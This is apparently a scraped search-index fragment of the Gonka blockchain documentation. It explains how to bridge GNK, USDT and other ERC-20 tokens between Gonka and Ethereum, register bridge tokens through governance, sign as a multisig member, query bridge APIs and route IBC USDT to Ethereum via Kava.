Always start with a small test transaction. Bridge transfers are irreversible, so before moving large amounts, send a small amount first and confirm it arrives as expected.
The dedicated Bridge smart contract, controlled by the Gonka consensus, is active on Ethereum at the address:
"}, {"location": "gonka/docs/cross-chain-transfers/ethereum-bridge/deposit-gnk/#0x972a7a92d92796a98801a8818bcf91f1648f2f68", "title": "0x972a7a92d92796a98801a8818bcf91f1648f2f68\nLock GNK on Gonka and receive wrapped GNK (WGNK) at your Ethereum address.
"}, {"location": "gonka/docs/cross-chain-transfers/ethereum-bridge/deposit-gnk/#a-request-minting-wgnk-on-ethereum", "title": "A) Request Minting WGNK on Ethereum", "text": "Use CLI to submit a bridge minting request:
./inferenced tx inference request-bridge-mint \\\n <amount> \\\n \"0xYourEthereumAddr\" \\\n \"ethereum\" \\\n --destination-bridge-address 0x972a7a92d92796a98801a8818bcf91f1648f2f68 \\\n --from <your_key_name> \\\n --chain-id gonka-mainnet \\\n --gas auto --gas-adjustment 1.5 \\\n -y \\\n --node http://node1.gonka.ai:8000/chain-rpc/\nTip
If --gas auto produces an incorrect gas estimation, check the returned status for the required gas limit and explicitly pass it (e.g., --gas 200000).
...\ntxhash: 12E8ABCA5A35D73042564FDF6D686424F742414EEC172450AB6EDA34BD1F0805\nAllow a couple of blocks to be mined, then check the status:
./inferenced query tx 12E8ABCA5A35D73042564FDF6D686424F742414EEC172450AB6EDA34BD1F0805 --node http://node1.gonka.ai:8000/chain-rpc/\nVerify that \"code\": 0 and extract the base64 request_id:
\"request_id\": \"vSTWiN1pvooxcFoDLzePCEq3x/C5NQ+jFMvfcEozCm4=\"\nConvert the base64 request_id to hexadecimal format:
echo \"vSTWiN1pvooxcFoDLzePCEq3x/C5NQ+jFMvfcEozCm4=\" | base64 -d | xxd -p -c 256\nbd24d688dd69be8a31705a032f378f084ab7c7f0b9350fa314cbdf704a330a6e\nQuery the BLS signature API with your request ID hex:
curl \"https://node2.gonka.ai:8443/v1/bls/signatures/<REQUEST_ID_HEX>\" \\\n | jq -r '\n {\n uncompressed_signature_128: .uncompressed_signature_128,\n current_epoch_id: .signing_request.current_epoch_id,\n request_id: .signing_request.request_id\n }\n '\nBridge epoch update
Before submitting the Ethereum mint transaction, make sure the Ethereum bridge contract is synced to current_epoch_id. If the dashboard shows A Bridge needs epoch update or the Ethereum execution fails with InvalidEpoch, follow Bridge epoch update.
Submit the mint command to the bridge contract on Ethereum using the mint-wgnk.js script:
HARDHAT_NETWORK=mainnet node mint-wgnk.js \\\n 0x972a7a92d92796a98801a8818bcf91f1648f2f68 \\\n <current_epoch_id> \\\n <request_id_base64> \\\n <0xYourEthereumAddr> \\\n <amount> \\\n <uncompressed_signature_128>\nWarning
Always start with a small test transaction. Bridge transfers are irreversible, so before moving large amounts, send a small amount first and confirm it arrives as expected.
The dedicated Bridge smart contract, controlled by the Gonka consensus, is active on Ethereum at the address:
0x972a7a92d92796a98801a8818bcf91f1648f2f68\nTo use an existing Ethereum address that already holds USDT, generate a Gonka address from the same private key. This Gonka address will receive the wrapped token.
If instead you want to use an existing Gonka address, generate the corresponding Ethereum address from the same private key, acquire USDT on it, and ensure you have enough ETH for gas.
Important
The wrapped tokens are delivered to the gonka1… address derived from the key that signs this Ethereum deposit — not to a seed-derived Gonka account. If you skip this, your funds will land on a different Gonka address than your usual wallet — recoverable via your Ethereum key, but not where you'd expect. See Addresses and keys for how to derive the correct address (or use the dashboard).
Execute the transfer to the bridge contract:
const tx = await usdtContract.transfer(\n \"0x972a7a92d92796a98801a8818bcf91f1648f2f68\", // bridge address\n amountBN // BigNumber amount\n);\nawait tx.wait();\nWarning
The wrapped balance does not appear immediately. The bridge waits for the deposit block to be finalised on Ethereum (about two epochs), so expect 15–20 minutes between the Ethereum transaction being mined and the wrapped balance appearing on Gonka.
"}, {"location": "gonka/docs/cross-chain-transfers/ethereum-bridge/deposit-usdt/#b-check-wrapped-token-balance-on-gonka", "title": "B) Check Wrapped Token Balance on Gonka", "text": "Query the wrapped tokens owned by your Gonka address:
curl \"https://node2.gonka.ai:8443/chain-api/productscience/inference/inference/wrapped_token_balances/{gonkaAddress}\"\n{\n \"balances\": [\n {\n \"token_info\": {\n \"chainId\": \"ethereum\",\n \"contractAddress\": \"0xUSDTContractAddress\",\n \"wrappedContractAddress\": \"gonka1CW20WrappedUSDTAddress\"\n },\n \"symbol\": \"USDT\",\n \"balance\": \"100000\",\n \"decimals\": \"6\",\n \"formatted_balance\": \"0.1\"\n }\n ]\n}\nUse the wrapped CW-20 token contract address (gonka1CW20WrappedUSDTAddress) returned from the query above:
export WUSDT_CONTRACT=\"gonka1CW20WrappedUSDTAddress\"\n\n./inferenced tx wasm execute $WUSDT_CONTRACT \\\n '{\"transfer\":{\"recipient\":\"gonka1xxxxxxxx...\",\"amount\":\"123456\"}}' \\\n --from <your_key_name> \\\n --chain-id gonka-mainnet \\\n --gas auto --gas-adjustment 1.5 \\\n -y \\\n --node http://node1.gonka.ai:8000/chain-rpc/\n...\ntxhash: 39E3D4B86CF6B0C8952C789F4D73DB9FE27DEA4BD25F3842BE9298C78980A51D\nAllow 2-3 blocks to be mined, then check the status of the transaction:
./inferenced query tx 39E3D4B86CF6B0C8952C789F4D73DB9FE27DEA4BD25F3842BE9298C78980A51D --node http://node1.gonka.ai:8000/chain-rpc/\nTip
A status of \"code\": 0 means the transfer was successful. Note that --gas auto might estimate gas incorrectly. If the transaction fails, the status response will show the necessary gas amount. Update and retry the command using a manual gas limit (e.g., --gas 200000).
This guide is for individuals who have been selected to be signers on the Gonka Ethereum Bridge Multisig.
"}, {"location": "gonka/docs/cross-chain-transfers/ethereum-bridge/multisig-signer-guide/#what-is-a-safe-multisig", "title": "What is a Safe Multisig?", "text": "A Safe (formerly Gnosis Safe) is a Smart Contract Account that runs on the Ethereum blockchain. Unlike a regular wallet (which has a single private key), a Multisig requires multiple authorized signers to approve a transaction before it can be executed.
For the Gonka Ethereum Bridge, the Safe multisig protects a limited Ethereum-side admin role. The admin role is only intended for exceptional recovery scenarios, such as a prolonged absence of valid BLS group key updates during the 30-day timeout period or a BLS key conflict. In these cases, the admin may be able to set or reset the BLS group key, which makes the role security-sensitive because the BLS key ultimately controls bridge signing. The multisig ensures that these rare recovery actions cannot be performed by a single person. A required threshold of signers must review and approve the transaction before it can be executed.
"}, {"location": "gonka/docs/cross-chain-transfers/ethereum-bridge/multisig-signer-guide/#1-prerequisites", "title": "1. Prerequisites", "text": "Before you can be added to the multisig, please make sure the following items are ready:
Send your public Ethereum address (0x...) to the multisig administrator. Double-check every character. Do not send your private key or seed phrase.
"}, {"location": "gonka/docs/cross-chain-transfers/ethereum-bridge/multisig-signer-guide/#step-2-the-addition-transaction", "title": "Step 2: The Addition Transaction", "text": "The current multisig owners will initiate a transaction to \"Add Owner.\" This transaction must be signed and executed according to the current threshold (e.g., 2-of-3).
"}, {"location": "gonka/docs/cross-chain-transfers/ethereum-bridge/multisig-signer-guide/#step-3-access-the-safe", "title": "Step 3: Access the Safe", "text": "Once the transaction is confirmed on the blockchain:
The most common task for a participant is reviewing and signing proposed transactions.
If you are the last person to sign, or if you are tasked with finalizing a transaction:
Warning
Always start with a small test transaction. Bridge transfers are irreversible, so before moving large amounts, send a small amount first and confirm it arrives as expected.
The dedicated Bridge smart contract, controlled by the Gonka consensus, is active on Ethereum at the address:
0x972a7a92d92796a98801a8818bcf91f1648f2f68\nView the bridge contract on Etherscan
This address is also the WGNK token
The bridge contract is the WGNK ERC-20 token — they are one and the same contract at this address, not two separate contracts. So the Etherscan page above is simultaneously the bridge and the WGNK token. Wrapped ERC-20 tokens bridged into Gonka live on the Gonka side as CW-20 tokens; only WGNK lives on Ethereum, and it is this contract.
Adding WGNK to your Ethereum wallet
WGNK is a standard ERC-20 token, so you can add it as a custom token in any wallet that supports ERC-20 — MetaMask, Trust Wallet, Ledger browser extension, and similar wallets. Use the bridge contract address above (0x972a7a92d92796a98801a8818bcf91f1648f2f68) as the token contract address — it is both the bridge and the WGNK token.
Security audit
The bridge has been audited by CertiK. The full report is available on the CertiK Skynet page (where the Gonka – Ethereum Bridge audit is listed alongside the consensus and inference audits) and as a local copy: CertiK Gonka – Ethereum Bridge audit (PDF).
The bridge allows you to move:
ETH is bridged as WETH
The bridge tracks ERC-20 token transfers to the bridge contract. Native ETH is not an ERC-20, so to bridge ether you first wrap it into WETH (the standard Wrapped Ether ERC-20 token) on Ethereum, then bridge WETH exactly like any other ERC-20.
Any ERC-20 token works — registration is not required
You can bridge any ERC-20 token, even one that has never been registered on Gonka. When the deposit is recognized, the bridge automatically creates the wrapped CW-20 contract and mints your balance. Registration through governance is optional and only adds display metadata (name, symbol, decimals) and trading eligibility — it is not needed to move tokens. Note that without registration, the decimals might not match the original token and it is expected. Until a token is registered, its wrapped version may not reflect the original's decimals. This is expected and does not affect your balance. See Register a bridge token for details.
Both addresses come from the same key
Gonka delivers wrapped tokens to the Gonka address derived from the same public key that signed your Ethereum deposit. If your Ethereum and Gonka keys come from a seed phrase, they are usually different keys and this will not work. Don't use your seed phrase to derive a Gonka address and assume it matches your Ethereum one, the two are derived differently. Read Addresses and keys before your first transfer.
"}, {"location": "gonka/docs/cross-chain-transfers/ethereum-bridge/overview/#overview", "title": "Overview", "text": ""}, {"location": "gonka/docs/cross-chain-transfers/ethereum-bridge/overview/#wrapping-erc-20-tokens-eg-usdt-from-ethereum-to-gonka", "title": "Wrapping ERC-20 Tokens (e.g., USDT) from Ethereum to Gonka", "text": "Note
Registering a token (see Register a bridge token) is optional. It does not affect whether a token can be bridged — it only attaches metadata so the wrapped token shows a proper name/symbol/decimals in wallets and dashboards, and makes it eligible for the on-chain liquidity pool. USDT and USDC are pre-registered. You can bridge and test any other ERC-20 without registering it first.
"}, {"location": "gonka/docs/cross-chain-transfers/ethereum-bridge/overview/#unwrapping-withdrawing-back-to-ethereum", "title": "Unwrapping / Withdrawing back to Ethereum", "text": "Note
GNK never exists \"natively\" on Ethereum. On the Ethereum side it is always the wrapped WGNK ERC-20 token — and that token is the bridge contract itself (same address; the bridge contract is also the WGNK ERC-20). \"Bridging GNK to Ethereum\" means locking native GNK in escrow on Gonka and minting the equivalent WGNK on Ethereum.
"}, {"location": "gonka/docs/cross-chain-transfers/ethereum-bridge/overview/#returning-wgnk-from-ethereum-back-to-gnk", "title": "Returning WGNK from Ethereum back to GNK", "text": "The bridge detects ERC-20 transfers, not native ETH transfers. To bring ether to Gonka:
Every transfer out of Gonka (withdrawing a wrapped ERC-20/ETH, or minting WGNK) is released on Ethereum by a BLS signature from the Gonka validator set. For the Ethereum bridge contract to trust that signature, it must know the current epoch's group key, and it learns it through a daily chain of signatures:
Once the current epoch's group key is registered, withdrawals are fast: a single epoch signature can authorize any number of withdrawals initiated during that epoch. The flow for a user is:
Withdrawals are signed with the current epoch's group key, and the bridge contract must already hold that key. Just after an epoch change (about daily) the contract can briefly lag, and your release may fail with InvalidEpoch or the dashboard may show that the bridge is behind the chain. You do not have to wait: anyone can push the missing key update, either from the dashboard or manually. See Bridge epoch update.
Transfer time depends on the direction:
During a Gonka chain outage
The bridge ingests finalized Ethereum blocks independently of Gonka block production. If the Gonka chain is halted, those Ethereum blocks (and the deposits in them) can be skipped by the hosts rather than queued, and withdrawals cannot be signed until signing resumes. If you ever see the chain reported as down on the dashboard, wait until it is healthy again before bridging.
"}, {"location": "gonka/docs/cross-chain-transfers/ethereum-bridge/overview/#bridge-vs-exchange", "title": "Bridge vs. exchange", "text": "The bridge only locks an asset on one chain and releases it on the other — it does not swap one asset for another. Trading happens on separate contracts:
So a typical \"sell GNK on Ethereum\" flow is: bridge GNK → WGNK to Ethereum, then trade WGNK for another token on a DEX.
"}, {"location": "gonka/docs/cross-chain-transfers/ethereum-bridge/overview/#bridge-vs-ibc", "title": "Bridge vs. IBC", "text": "This bridge connects Gonka directly with Ethereum. Gonka also supports IBC for transfers with other Cosmos chains (see the IBC section).
Warning
Always start with a small test transaction. Bridge transfers are irreversible, so before moving large amounts, send a small amount first and confirm it arrives as expected.
The dedicated Bridge smart contract, controlled by the Gonka consensus, is active on Ethereum at the address:
0x972a7a92d92796a98801a8818bcf91f1648f2f68\nRegistration is optional
You do not need to register a token to bridge it. Any ERC-20 can be deposited to the bridge, and Gonka will automatically instantiate its wrapped CW-20 contract and mint your balance. Registration is a convenience that:
Without registration the token still bridges and transfers normally — it simply shows with empty/default metadata until someone registers it. USDT and USDC are pre-registered.
Registering a token records its metadata on-chain through a governance proposal. The Gonka consensus uses this metadata to label the wrapped CW-20 token contract.
Because registration goes through a governance vote, it also acts as a lightweight verification / anti-fraud step: it is how the community vouches that a given Ethereum contract is the genuine token it claims to be, rather than a look-alike or invalid contract. A registered token is therefore a stronger signal of legitimacy (and a prerequisite for liquidity-pool trading), while an unregistered token still bridges but carries no such on-chain endorsement.
This section walks you through drafting and submitting a governance proposal to register a new bridge token.
Testnet first
Register and test new tokens on testnet (chain ID sepolia) first. Promote a token to mainnet (chain ID ethereum) only once its bridging and metadata have been verified end-to-end. The mainnet rollout schedule for additional tokens is decided by governance.
Before starting, you need the following information about the ERC-20 token:
\"ethereum\" or \"sepolia\" for testnet).0xdAC17F958D2ee523a2206206994597C13D831ec7 for USDT).\"Tether USD\").\"USDT\").6 or 18).The governance module account address acts as the authority that signs and executes the proposal. To find this address on your node, run:
inferenced query auth module-accounts --node $SEED_URL/chain-rpc/ | grep -B2 'name: gov'\nCopy the returned Cosmos address (e.g., cosmos1...gov...).
Create a file named register_token_proposal.json. This proposal will include the MsgRegisterTokenMetadata message in the messages array to register the token metadata (name, symbol, decimals).
{\n \"messages\": [\n {\n \"@type\": \"/inference.inference.MsgRegisterTokenMetadata\",\n \"authority\": \"cosmos1...gov...\", // from step 1\n \"chainId\": \"ethereum\",\n \"contractAddress\": \"0xTokenContractAddressOnEthereum\",\n \"name\": \"Token Name\",\n \"symbol\": \"SYMBOL\",\n \"decimals\": 18,\n \"overwrite\": false\n }\n ],\n \"metadata\": \"ipfs://CID\",\n \"deposit\": \"500000000000ngonka\",\n \"title\": \"Register Wrapped SYMBOL Token Metadata\",\n \"summary\": \"This proposal registers the metadata for the SYMBOL ERC-20 token bridged from Ethereum on the Gonka chain.\"\n}\nReplace:
cosmos1...gov... with your actual governance module address.0xTokenContractAddressOnEthereum with the exact ERC-20 contract address.Token Name, SYMBOL, and decimals with the correct token information.deposit with an amount that meets the minimum deposit requirement.metadata with the URI of your proposal metadata (optional, can be empty or an IPFS CID).Run this transaction from your private machine holding your Cold Account Key:
inferenced tx gov submit-proposal ./register_token_proposal.json \\\n --from <cold-key-name> \\\n --keyring-backend file \\\n --unordered --timeout-duration=60s \\\n --gas=2000000 --gas-adjustment=5.0 \\\n --node $SEED_URL/chain-rpc/ \\\n --yes\nYou will be prompted to enter your file keyring password.
"}, {"location": "gonka/docs/cross-chain-transfers/ethereum-bridge/register-token/#step-4-top-up-deposit-and-vote", "title": "Step 4: Top Up Deposit and Vote", "text": "Once submitted, retrieve the proposal_id from the transaction log or query all proposals:
inferenced query gov proposals --node $SEED_URL/chain-rpc/\nIf your initial deposit was below the minimum required to enter the voting period, top it up:
inferenced tx gov deposit <proposal_id> 500000000000ngonka \\\n --from <cold-key-name> \\\n --keyring-backend file \\\n --unordered --timeout-duration=60s \\\n --gas=2000000 --gas-adjustment=5.0 \\\n --node $SEED_URL/chain-rpc/ \\\n --yes\nOnce the proposal is in the Voting Period, cast your vote:
inferenced tx gov vote <proposal_id> yes \\\n --from <cold-key-name> \\\n --keyring-backend file \\\n --unordered --timeout-duration=60s \\\n --gas=2000000 --gas-adjustment=5.0 \\\n --node $SEED_URL/chain-rpc/ \\\n --yes\nAfter the voting period ends and the proposal passes, you can verify that the metadata is successfully registered.
"}, {"location": "gonka/docs/cross-chain-transfers/ethereum-bridge/register-token/#1-verify-metadata", "title": "1. Verify Metadata", "text": "Query the token metadata using the chain API or CLI:
curl \"https://node2.gonka.ai:8443/chain-api/productscience/inference/inference/token_metadata/ethereum/0xTokenContractAddressOnEthereum\"\nOnce a user bridges their tokens to the bridge contract on Ethereum, the Gonka consensus will automatically instantiate a wrapped CW-20 contract for the token and assign the minted balance to the user's derived address. You can query the balance:
curl \"https://node2.gonka.ai:8443/chain-api/productscience/inference/inference/wrapped_token_balances/{gonkaAddress}\"\nEach Ethereum token maps to exactly one wrapped CW-20 contract on Gonka. The first deposit instantiates it; every later deposit of the same token reuses the same contract, so all balances and transfers for that token live under one address. You can inspect a wrapped contract's transactions in the dashboard, e.g.:
https://node1.gonka.ai:8443/dashboard/gonka/cosmwasm/105/transactions?contract=<wrappedContractAddress>\nWarning
Always start with a small test transaction. Bridge transfers are irreversible, so before moving large amounts, send a small amount first and confirm it arrives as expected.
The dedicated Bridge smart contract, controlled by the Gonka consensus, is active on Ethereum at the address:
0x972a7a92d92796a98801a8818bcf91f1648f2f68\nThis page is for dashboard, explorer, and tracker operators who want to display or integrate Gonka bridge data themselves. All bridge state is readable from the public chain API — no special access is required.
The examples below use https://node2.gonka.ai:8443/chain-api/...; you can point them at any node you trust.
The hosted dashboard already exposes bridge functionality for end users — connecting an Ethereum wallet, deriving the matching gonka1… address (see Addresses and keys), viewing wrapped balances, and driving deposits/withdrawals:
https://node1.gonka.ai:8443/dashboard/\nPer-contract CosmWasm transaction history (useful for auditing a wrapped token) is available at:
https://node1.gonka.ai:8443/dashboard/gonka/cosmwasm/105/transactions?contract=<wrappedContractAddress>\nThe trusted bridge contract addresses Gonka accepts deposits from, by chain:
curl \"https://node2.gonka.ai:8443/chain-api/productscience/inference/inference/bridge_addresses/ethereum\"\nList inbound bridge transactions (deposits/burns being validated and completed):
curl \"https://node2.gonka.ai:8443/chain-api/productscience/inference/inference/bridge_transactions\"\nLook up a single transaction by its origin coordinates (originChain, blockNumber, receiptIndex):
curl \"https://node2.gonka.ai:8443/chain-api/productscience/inference/inference/bridge_transaction/ethereum/{blockNumber}/{receiptIndex}\"\nEach record carries status (BRIDGE_PENDING or BRIDGE_COMPLETED), the derived ownerAddress (the gonka1… recipient), amount, and the validating epoch — enough to track a transfer from \"seen\" to \"completed\".
List all wrapped (CW-20) balances held by a Gonka address, with symbol, decimals, and a human-formatted balance:
curl \"https://node2.gonka.ai:8443/chain-api/productscience/inference/inference/wrapped_token_balances/{gonkaAddress}\"\nResolve the registered name/symbol/decimals for a bridged token by its source chain and Ethereum contract:
curl \"https://node2.gonka.ai:8443/chain-api/productscience/inference/inference/token_metadata/ethereum/{ethereumContractAddress}\"\nNote
Metadata only exists for tokens that have been registered (see Register a bridge token). Unregistered tokens still bridge and appear in balances, but with empty/default metadata. Trackers should handle missing metadata gracefully and fall back to the raw contract address.
"}, {"location": "gonka/docs/cross-chain-transfers/ethereum-bridge/tracker-integration/#one-wrapped-contract-per-token", "title": "One wrapped contract per token", "text": "Each Ethereum token maps to exactly one wrapped CW-20 contract on Gonka, keyed by (chainId, ethereumContractAddress). The first deposit instantiates the contract; every later deposit of the same token reuses the same wrapped address. When indexing, treat the wrapped CW-20 contract address as the canonical on-Gonka identity for that Ethereum token.
If you also surface trading data:
# Tokens approved for trading via the liquidity pool\ncurl \"https://node2.gonka.ai:8443/chain-api/productscience/inference/inference/approved_tokens_for_trade\"\n\n# Validate that a CW-20 is an authorized wrapped token for trading\ncurl \"https://node2.gonka.ai:8443/chain-api/productscience/inference/inference/validate_wrapped_token_for_trade/{contractAddress}\"\n\n# The singleton liquidity pool contract address / code id\ncurl \"https://node2.gonka.ai:8443/chain-api/productscience/inference/inference/liquidity_pool\"\nThe decentralized API exposes the bridge ingestion queue health, useful for an operations panel:
curl \"https://node2.gonka.ai:8443/v1/bridge/status\"\ncurl \"https://node2.gonka.ai:8443/v1/bridge/addresses?chain=ethereum\"\nWarning
Always start with a small test transaction. Bridge transfers are irreversible, so before moving large amounts, send a small amount first and confirm it arrives as expected.
The dedicated Bridge smart contract, controlled by the Gonka consensus, is active on Ethereum at the address:
"}, {"location": "gonka/docs/cross-chain-transfers/ethereum-bridge/withdraw-gnk/#0x972a7a92d92796a98801a8818bcf91f1648f2f68", "title": "0x972a7a92d92796a98801a8818bcf91f1648f2f68\nThis is the reverse of Deposit GNK (Gonka → Ethereum). It burns wrapped GNK (WGNK) on Ethereum and releases the equivalent native GNK from escrow on Gonka.
Native GNK is released to the Gonka address derived from the same key that burns the WGNK on Ethereum. Make sure you control that key on Gonka — see Addresses and keys.
"}, {"location": "gonka/docs/cross-chain-transfers/ethereum-bridge/withdraw-gnk/#a-burn-wgnk-on-ethereum", "title": "A) Burn WGNK on Ethereum", "text": "Burning is done by simply transferring WGNK to the bridge contract address. The bridge contract recognizes a transfer to itself as a burn and emits a WGNKBurned event.
// WGNK is the bridge contract itself (it is both the bridge and the WGNK ERC-20)\nconst tx = await wgnkContract.transfer(\n \"0x972a7a92d92796a98801a8818bcf91f1648f2f68\", // bridge / WGNK address\n amountBN // BigNumber amount (9 decimals)\n);\nawait tx.wait();\nNote
WGNK uses 9 decimals to match the native GNK token.
"}, {"location": "gonka/docs/cross-chain-transfers/ethereum-bridge/withdraw-gnk/#b-wait-for-finalization", "title": "B) Wait for Finalization", "text": "The bridge only acts on finalized Ethereum blocks (about two epochs). Expect 15–20 minutes between the burn being mined on Ethereum and the native GNK appearing on Gonka. No further action is required on the Ethereum side — once the burn is finalized, the Gonka consensus validates it and releases the escrowed GNK automatically.
"}, {"location": "gonka/docs/cross-chain-transfers/ethereum-bridge/withdraw-gnk/#c-check-your-gnk-balance-on-gonka", "title": "C) Check Your GNK Balance on Gonka", "text": "Query the native balance of the Gonka address derived from your key:
inferenced query bank balances <your_gonka_address> --node http://node1.gonka.ai:8000/chain-rpc/\nYou should see the released amount in ngonka (1 GNK = 10^9 ngonka).
Tip
If the balance does not appear after ~20 minutes, confirm that the burn transaction was finalized on Ethereum and that you are querying the gonka1… address derived from the same key that signed the burn (not a seed-derived Gonka account — see Addresses and keys).
Warning
Always start with a small test transaction. Bridge transfers are irreversible, so before moving large amounts, send a small amount first and confirm it arrives as expected.
The dedicated Bridge smart contract, controlled by the Gonka consensus, is active on Ethereum at the address:
"}, {"location": "gonka/docs/cross-chain-transfers/ethereum-bridge/withdraw-usdt/#0x972a7a92d92796a98801a8818bcf91f1648f2f68", "title": "0x972a7a92d92796a98801a8818bcf91f1648f2f68\nNote
Withdrawals are released on Ethereum by a BLS signature tied to the current epoch's group key, which is refreshed about once per day. A single epoch signature can authorize any number of withdrawals started in that epoch, so this step is normally fast. See How Gonka → Ethereum is authorized for the background.
"}, {"location": "gonka/docs/cross-chain-transfers/ethereum-bridge/withdraw-usdt/#a-send-withdrawal-request-on-gonka", "title": "A) Send Withdrawal Request on Gonka", "text": "Initiate the withdrawal transaction using CLI:
./inferenced tx wasm execute <gonka1CW20WrappedUSDTAddress> \\\n '{\"withdraw\":{\"amount\":\"<amount>\",\"destination_address\":\"0xYourEthereumAddr\",\"destination_bridge_address\":\"0x972a7a92d92796a98801a8818bcf91f1648f2f68\"}}' \\\n --from <your_key_name> \\\n --chain-id gonka-mainnet \\\n --gas auto --gas-adjustment 1.5 \\\n -y \\\n --node http://node1.gonka.ai:8000/chain-rpc/\nTip
If --gas auto produces an incorrect gas estimation, check the returned status for the required gas limit and explicitly pass it (e.g., --gas 200000).
...\ntxhash: 12E8ABCA5A35D73042564FDF6D686424F742414EEC172450AB6EDA34BD1F0805\nAllow a couple of blocks to be mined, then query the transaction hash to obtain the request ID:
./inferenced query tx 12E8ABCA5A35D73042564FDF6D686424F742414EEC172450AB6EDA34BD1F0805 --node http://node1.gonka.ai:8000/chain-rpc/\nEnsure the output contains \"code\": 0 (indicating success) and extract the base64-encoded request_id:
\"request_id\": \"vSTWiN1pvooxcFoDLzePCEq3x/C5NQ+jFMvfcEozCm4=\"\nConvert the base64 request_id to hexadecimal format:
echo \"vSTWiN1pvooxcFoDLzePCEq3x/C5NQ+jFMvfcEozCm4=\" | base64 -d | xxd -p -c 256\nbd24d688dd69be8a31705a032f378f084ab7c7f0b9350fa314cbdf704a330a6e\nQuery the BLS signature API with your request ID hex:
curl \"https://node2.gonka.ai:8443/v1/bls/signatures/<REQUEST_ID_HEX>\" \\\n | jq -r '\n {\n uncompressed_signature_128: .uncompressed_signature_128,\n current_epoch_id: .signing_request.current_epoch_id,\n request_id: .signing_request.request_id\n }\n '\nThe response includes: * current_epoch_id: The epoch of the request. * request_id: The 32-byte hash used on Gonka. * uncompressed_signature_128: The BLS signature needed for Ethereum execution.
Bridge epoch update
Before submitting the Ethereum withdrawal transaction, make sure the Ethereum bridge contract is synced to current_epoch_id. If the dashboard shows A Bridge needs epoch update or the Ethereum execution fails with InvalidEpoch, follow Bridge epoch update.
Use the withdraw-tokens.js script:
HARDHAT_NETWORK=mainnet node withdraw-tokens.js \\\n 0x972a7a92d92796a98801a8818bcf91f1648f2f68 \\\n <current_epoch_id> \\\n <request_id_base64> \\\n <destination_address> \\\n 0xdAC17F958D2ee523a2206206994597C13D831ec7 \\\n <amount> \\\n <uncompressed_signature_128>\nUse case: spendable IBC USDT is already available in a Gonka wallet balance, and the target route is Gonka → Kava Cosmos → Kava EVM → Ethereum.
The guide describes the full path to Ethereum. The route can stop after any completed leg: IBC USDT can remain on Kava in Keplr, move to Kava EVM in MetaMask, or continue to Ethereum.
Disclaimer: This guide is not financial advice. Route parameters, supported assets, fees, and wallet / bridge UIs can change. Always verify the current route, addresses, and amounts before sending funds.
"}, {"location": "gonka/docs/cross-chain-transfers/ibc/withdraw-usdt-via-kava/#important-this-guide-is-for-ibc-usdt", "title": "Important: this guide is for IBC USDT", "text": "This guide covers IBC USDT on Gonka / Kava Cosmos.
Do not confuse it with:
Before sending funds, always check:
The route has three steps:
Requirements:
GNK for Gonka transaction feesUseful official pages:
kava1...0x...This step sends funds from Gonka to a Kava Cosmos address in Keplr.
"}, {"location": "gonka/docs/cross-chain-transfers/ibc/withdraw-usdt-via-kava/#1-turn-on-manual-ibc-in-keplr", "title": "1. Turn on manual IBC in Keplr", "text": "In Keplr:
Settings → Advanced → Manual IBC Transfer → ON
If labels differ slightly by version, use Keplr’s own docs: help.keplr.app.
"}, {"location": "gonka/docs/cross-chain-transfers/ibc/withdraw-usdt-via-kava/#2-configure-the-transfer-on-gonka", "title": "2. Configure the transfer on Gonka", "text": "If Keplr shows Add IBC channel or New IBC channel, set:
channel-5Then save the channel.
"}, {"location": "gonka/docs/cross-chain-transfers/ibc/withdraw-usdt-via-kava/#3-copy-the-kava-address", "title": "3. Copy the Kava address", "text": "kava1... addressOn Advanced IBC Transfer, choose Kava (channel-5) from the destination dropdown.
Then:
kava1... addressngonkaUSDT should appear on Kava in Keplr.
"}, {"location": "gonka/docs/cross-chain-transfers/ibc/withdraw-usdt-via-kava/#step-2-move-usdt-from-kava-ibc-to-kava-evm", "title": "Step 2 — Move USDT from Kava IBC to Kava EVM", "text": "This step moves funds from Kava Cosmos to Kava EVM.
Start with a small test amount.
"}, {"location": "gonka/docs/cross-chain-transfers/ibc/withdraw-usdt-via-kava/#1-open-the-kava-transfer-tool", "title": "1. Open the Kava transfer tool", "text": "Open the Transfer page: app.kava.io/transfer.
"}, {"location": "gonka/docs/cross-chain-transfers/ibc/withdraw-usdt-via-kava/#2-connect-both-wallets", "title": "2. Connect both wallets", "text": "Choose:
USDT should appear on Kava EVM in MetaMask.
Kava’s help article on moving USDT across Kava surfaces, with the relevant direction here being Cosmos → Kava EVM: How to transfer USDt to Cosmos chains with a single click.
"}, {"location": "gonka/docs/cross-chain-transfers/ibc/withdraw-usdt-via-kava/#if-usdt-does-not-appear-in-metamask", "title": "If USDT does not appear in MetaMask", "text": "MetaMask may not show the token automatically. Manual token import may be required.
Kava help documentation has listed the following USDT contract on Kava EVM:
0x919C1c267BC06a7039e03fcc2eF738525769109c
Before using the contract for a real transfer, verify the contract again in:
If MetaMask asks for decimals, use 6.
"}, {"location": "gonka/docs/cross-chain-transfers/ibc/withdraw-usdt-via-kava/#step-3-bridge-usdt-from-kava-evm-to-ethereum", "title": "Step 3 — Bridge USDT from Kava EVM to Ethereum", "text": "This step bridges funds from Kava EVM to Ethereum mainnet.
"}, {"location": "gonka/docs/cross-chain-transfers/ibc/withdraw-usdt-via-kava/#1-open-stargate", "title": "1. Open Stargate", "text": "Open: stargate.finance/transfer.
Background from Kava on this bridge pattern: How to Bridge USDt with Stargate.
"}, {"location": "gonka/docs/cross-chain-transfers/ibc/withdraw-usdt-via-kava/#2-make-sure-metamask-is-on-kava-evm", "title": "2. Make sure MetaMask is on Kava EVM", "text": "Before starting, MetaMask should be connected to Kava EVM.
The source network is Kava EVM, not Ethereum.
"}, {"location": "gonka/docs/cross-chain-transfers/ibc/withdraw-usdt-via-kava/#3-set-the-bridge-route", "title": "3. Set the bridge route", "text": "In Stargate, choose:
In some UIs, the source may be shown simply as Kava. The important condition is matching the network where USDT sits after Step 2.
"}, {"location": "gonka/docs/cross-chain-transfers/ibc/withdraw-usdt-via-kava/#4-review-fees-and-send-a-small-test", "title": "4. Review fees and send a small test", "text": "Before confirming:
Then approve the transaction in MetaMask.
USDT should appear on Ethereum Mainnet in MetaMask.
"}, {"location": "gonka/docs/cross-chain-transfers/ibc/withdraw-usdt-via-kava/#if-stargate-does-not-offer-this-route", "title": "If Stargate does not offer this route", "text": "Stop there.
Do not guess an alternative bridge.
If USDT from Kava EVM to Ethereum is not shown, the route may be paused, changed, or temporarily unavailable.
"}, {"location": "gonka/docs/cross-chain-transfers/ibc/withdraw-usdt-via-kava/#step-4-confirm-the-funds-on-ethereum", "title": "Step 4 — Confirm the funds on Ethereum", "text": "A commonly used Ethereum mainnet USDT contract is:
0xdAC17F958D2ee523a2206206994597C13D831ec7
